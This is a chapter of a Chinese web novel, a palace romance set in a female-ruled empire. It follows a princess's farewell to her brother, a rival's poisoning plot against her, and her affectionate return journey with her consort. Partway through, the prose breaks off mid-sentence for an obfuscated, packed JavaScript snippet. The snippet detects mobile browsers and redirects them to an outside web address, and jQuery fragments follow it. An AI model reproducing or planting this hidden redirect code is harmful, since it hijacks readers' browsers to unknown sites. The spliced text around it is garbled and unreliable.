姜向晚给姜晏喂粥的时候,趁他不注意,姜晏抓住自己兄长的手,佯作生气道:“老实交代,她是谁,哪家女儿,门第如何,品行怎么样?”
“啊!”姜向晚脸颊一红,无助地看了看姜晏身边的凌月泽,“她都知道了?”
凌月泽亦是兴奋地点点头。
姜向晚低着头,轻声说道:“嗯……是母亲副将的女儿,晏儿知道的,叫卓问,小时候经常与我们一同玩的那个。”
“卓问……”姜晏皱着眉仔细回想,末了点点头,“小时候没被我整过,品行应算过关。”
“向晚哥哥怎么爱上她的?是她先表的白吗?怎么表的?”凌月泽靠着姜晏,问出了一连串问题。
“她先表的白,那日去军营接大姐,大姐正纠集一群姐妹玩闹,她闭眼抽人,抽到了就必须回答自己心中所爱是谁,然后卓问被抽到了,她站起来果断说了……我,喜欢很多年了。”姜向晚笑着回忆,“然后大姐说,如果他就在这里,你要跟他表白吗?”
“然后呢然后呢?”凌月泽追问道。
“然后她说要,大姐就跟她说,那你转身看看。”姜向晚继续说,“再然后,大姐说,你要给我弟弟表白可以,得先打过我。然后卓问看了我一眼,二话没说就上去和大姐过招。”
“打过了?”姜晏歪头,“能打过大姐的人可不多。”
“没打过,被大姐揍得鼻青脸肿的,看了怪让人心疼。”姜向晚不好意思地笑道。
“得,大姐的架白打了,人家姐姐为弟弟打架是帮弟弟挡桃花,大姐倒好,给你招桃花。”姜晏心有不服,“我但凡在那里,我就不会让她开这个口。”
“不是烂桃花,也挺好的,母亲也喜欢卓将军。”姜向晚笑道。
“兄长高兴便好,但我以前说过的那句话仍然作数,万一你不想嫁了,亦或不想和那个谁过了,便随时回来,晏儿养你一辈子。”姜晏紧了紧姜向晚的手,“大姐要是不容你,你便来个信儿,我接你来皇都,静思园现在挺安全的。”
“噗,大姐也说过和你一样的话。”姜向晚不知怎地,眼角含了泪,“放心,兄长永远爱我们家晏儿。”
姜晏又说:“要是挨了欺负,也要来信皇都,我八百里加急赶过来揍卓问一顿。”
“不会的,母亲和大姐都在的。”姜向晚温声笑着。
“就是……就是……”姜晏说着,不知怎么也哽咽起来,“出嫁那日,应该是姐姐骑马送亲,妹妹背你上轿的……我可能……我以为,我能有那么一天的……”
“没关系,母亲会找府上其他小姑娘代替的。”姜向晚伸手擦掉姜晏眼角的泪,“好姑娘,不许哭。”
“嗯,你告诉那个代替我的小姑娘,不许哭,高高兴兴的。”姜晏不舍地在姜向晚手上摩挲了几下,“兄长,你要一切都好。”
铁马金戈没能让姜晏掉一滴泪,如今她却好几次哭得像个孩童。
凌月泽轻轻抚着姜晏与姜向晚,静静守着哭泣的二人。
东婳赶到胡服国时,见到了即将离开的昭亲王一行,常仪对姜晏时长冷嘲热讽,对东婳却极尽温柔,婳儿长婳儿短的问了好久,还把自己带的药物尽数送给了东婳。
离开时,姜向晚送了凌月泽一个金镯,寻常款式,没有任何特点,只说道:“母亲说,为避免怀疑,不能有任何坠饰,兄长作主当半个父亲,愿月泽与晏儿长长久久,前路坦途。”
“兄长,还有我弟!”阿依萨凑到几人跟前,“唔——”
嘴巴被姜晏蒙住,姜向晚掩嘴笑了起来:“看来阿依萨陛下的弟弟与晏儿感情还没到,加油啊,陛下。”
姜念冲阿依萨比了个军中打气的手势,笑道:“本王很喜欢你,阿依萨陛下!相信你弟也不差,但情爱之事,我们家素来是自己做主。”
而后她又看向凌月泽:“有劳你照顾我家混球了,小郎君!”
说罢,众人踏着黑夜的黄沙,消失在姜晏的视线里。
东宫,明礼殿。
“好!做得好!”姜丰喜出望外,“毒已蔓延全身,哪怕如今看着只是小问题,到了皇都也只是等死了!”
“恭喜殿下,贺喜殿下!”侍从跪在地上连连道喜。
“明天,我就去禀报母皇,告诉她我未曾要过姜晏的功劳,更不曾与她勾结!”姜丰得意道,“还有,月泽的房间给他收拾收拾,等他到了,本宫要亲自去接他!”
“此人跟着姜晏这么长时间,恐怕身子早就不干净了。”池赋在一旁说道。
姜丰笑道:“本宫不在乎,本宫要他这个人,从今以后,再无姜晏在他身侧谗言,他将彻底属于本宫。”
池赋叹气:“哎,只是若身子不干净,是做不了太女贵君的,往后更遑论皇后?”
姜丰难得在池赋面前沉了脸:“姑姑,慎言,既然无法证明他身子不干净,那他便不是不干净。”
“殿下有心悦之人,姑姑为殿下高兴,只是天下人的悠悠之口,陛下的疑虑,又怎是一句慎言能敌过的。”池赋忧心道,“还有,殿下真觉得,自己离那个位置就一步之遥吗?这中间隔着陛下的猜疑,离着瑞王的风头正劲,离着端王的八面玲珑。”
“姑姑这是何意?”姜丰看向池赋。
“玉玺,只有真握在自己手中,才叫权力。”池赋看向姜丰,神情前所未有的认真,“殿下,今日朝会,陛下对瑞王的夸奖,您是看到的。”
瑞王姜承在顾姓一族的运作下,盛安十二年时,除了流云使,还领了刑部的职,近日在皇都屡破奇案,深得百姓喜爱。
姜煜听闻,便在朝会上夸奖了一通。
“母皇已许久未曾这么夸过我……”姜丰看着池赋,“姑姑的意思是,还需除掉姜承?”
“不是除掉谁,而是成为谁,殿下。”池赋耐心说道。
作别商区诸位,拒绝了阿依萨送的礼物,十月底,姜晏回到西州都城,赵太守和牧樽亲自出城迎接,还有硬要跟来的赵清雪。
当然,姜晏还未看到这些人。
因着白诺在商区主持秩序,东晴和东婳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17238263|192297||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骑马护驾,回程的车轿内,只有她与凌月泽二人,于是她将凌月泽抵在车轿的内壁上亲吻。
凌月泽嘴上的口脂染到她的唇上,想伸手帮她擦掉,结果手被她握住,姜晏坏笑地冲他说:“郎君好心给我涂的口脂,便多留一会儿又如何?”
凌月泽不好意思地别过脸去,无赖的唇又在他脸颊啄来啄去。
二人在车轿内玩得不亦乐乎,直到有人禀报,已到西州都城门口。
下车换马时,赵太守调侃起姜晏的泛红的唇:“小殿下怎么学起男子涂口脂了?”
“我这口脂是啃的。”姜晏说得还挺得意。
凌月泽正胡乱擦着自己的脸颊,却被姜晏一把抱上了马,而后她稳稳当当地坐在凌月泽身后,将整个人抱进怀中,冲赵太守笑道:“我俩同乘一匹便可。”
赵祥笑着点头,转身时,无奈地拍了拍赵清雪的肩。
赵清雪面带怒意地瞪着姜晏,姜晏也低头看向他,神色坦然:“我是故意的,清雪郎君,抱歉,但我必须这么做,不然我的月泽会乱想。你是个很好的郎君,会有人爱你疼你,只是,不是我。”
眼泪不争气地流下脸颊,赵清雪大声说道:“我告诉你,除了你,我谁都不嫁!”
好凶。
赵祥牵过赵清雪,柔声道:“傻孩子,何苦呢?先回家罢。”
姜晏亦无奈地摇摇头。
几人策马进城,各怀心事,姜晏在凌月泽耳畔轻声说道:“我爱你。”
“嗯,我也是。”凌月泽小声回应。
新一年的冬小麦开始种植时,西州为一位不愿透露姓名的英雌准备了一场烟花,皆是白诺从商区送来的稀奇货,整座都城飞起漫天烟火,百姓们欢呼同乐。
牧樽请了西州最好的画师,为二人绘下小像。
画中,一人身着绛色锦衣,贵气逼人,一人一袭白衣,如仙降世,她把他抱起,站在烟花中央,这次,他笑得开怀,她神情专注,身后是万丈彩光。
西州今年无旱无灾,来年定然又是大丰收。
隔日,皇都的圣旨送到,召小皇子姜晏速回皇都。赵祥表示,折子已按姜晏的安排往皇都送去。
盛安十三年十一月,姜晏携众人返回皇都,沿途西州百姓自发为之送行。
她们神采飞扬,面色红润。
马车内,姜晏正端详着一封信,是临走时赵清雪给她的,她为难地说道:“你说,我是打开呢,还是不打开。”
凌月泽摇头:“既然是要送给禾嘉殿下的,那必然不能打开。”
“万一他说了什么坏话,那我可就吃不了兜着走了!”姜晏佯装害怕,趁机抱住凌月泽,“呜,凌小郎君救我!”
“好好好,救你救你,怎么救,阿晏说说?”凌月泽任由她抱着,柔声附和。
“嗯……亲一下,说一个字。”姜晏在他脸颊嗅了嗅。
“啊,那有多少个字啊……”凌月泽红了脸。
“够阿妞写一篇策论的。”她说罢,霸道地又覆上他的唇。